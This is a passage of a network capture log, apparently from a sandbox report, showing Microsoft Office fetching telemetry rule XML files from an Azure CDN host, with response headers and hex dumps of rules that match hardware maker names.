2024-11-24 03:22:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032230Z-174c587ffdf59vqchC1TEByk680000000410000000008umv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032230Z-15b8b599d88m7pn7hC1TEB4axw00000003yg000000006a45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:32 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:32 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: ed298b8a-a01e-0002-322d-3c5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032232Z-178bfbc474bh5zbqhC1NYCkdug000000056000000000q2k2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:32 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:32 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 12cef178-a01e-0070-7e6c-3d573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032232Z-174c587ffdftv9hphC1TEBm29w00000003s000000000f1nb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:32 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:32 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 8017546c-101e-000b-4720-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032232Z-178bfbc474bvjk8shC1NYC83ns0000000580000000007pvc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:32 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 4246a62e-c01e-008e-5315-3d7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032232Z-178bfbc474bq2pr7hC1NYCkfgg00000005p00000000005db x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:32 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: ea8695b1-901e-002a-7283-3b7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032232Z-174c587ffdfl22mzhC1TEBk40c000000040000000000c8ne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:34 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:35 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: e9b13f77-001e-0049-031a-3e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032235Z-174c587ffdf6b487hC1TEBydsn00000003pg00000000sahv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 03:22:35 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: a7e2d1bd-a01e-0032-531b-3d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032235Z-178bfbc474bbcwv4hC1NYCypys00000005a0000000003xby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3c6e4b4f-901e-005b-7308-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032235Z-178bfbc474bv587zhC1NYCny5w0000000590000000007wfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:35 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 20caaba8-701e-005c-0363-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032235Z-178bfbc474bq2pr7hC1NYCkfgg00000005g000000000bpbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:35 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:35 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: d83ea369-501e-000a-040c-3d0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032235Z-178bfbc474bfw4gbhC1NYCunf400000005e0000000006hwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:35 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" 